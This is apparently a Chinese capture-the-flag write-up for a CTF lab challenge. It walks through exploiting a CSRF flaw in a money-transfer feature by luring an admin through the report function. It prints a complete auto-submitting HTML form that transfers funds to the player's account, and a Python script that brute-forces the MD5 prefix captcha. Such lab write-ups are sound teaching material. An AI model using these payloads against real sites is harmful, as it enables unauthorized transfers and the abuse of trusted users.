最后更新于3年前
这有帮助吗?
注册账号并登陆
发现可以购买Flag,但是余额不足
发现存在转账功能
发现可以提交报告,并且提示管理员会查看
猜测可能存在CSRF
BP抓包转账数据,生成POC
添加js自动提交:
<html> <body> <script>history.pushState('', '', '/')</script> <form action="http://78fbbb19-2784-48e4-be35-5f8228f1dd85.node4.buuoj.cn:81/transfer.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="target" value="truda" /> <input type="hidden" name="money" value="100000000000" /> <input type="hidden" name="messages" value="6666" /> <input type="submit" value="Submit request" /> </form> <script language=javascript> setTimeout("document.forms[0].submit()",1000) </script> </body> </html>
把POC部署到服务器上
提交报告验证码计算
md5($code)[0:5] == 01a2e
自动计算:
# -*- coding: UTF-8 -*- import hashlib def getMd5(index): for i in range(100000, 100000000): x = i md5 = hashlib.md5(str(x).encode("utf8")).hexdigest() if md5[0:5] == index: return x print(getMd5("a368a"))
报告内容填POC地址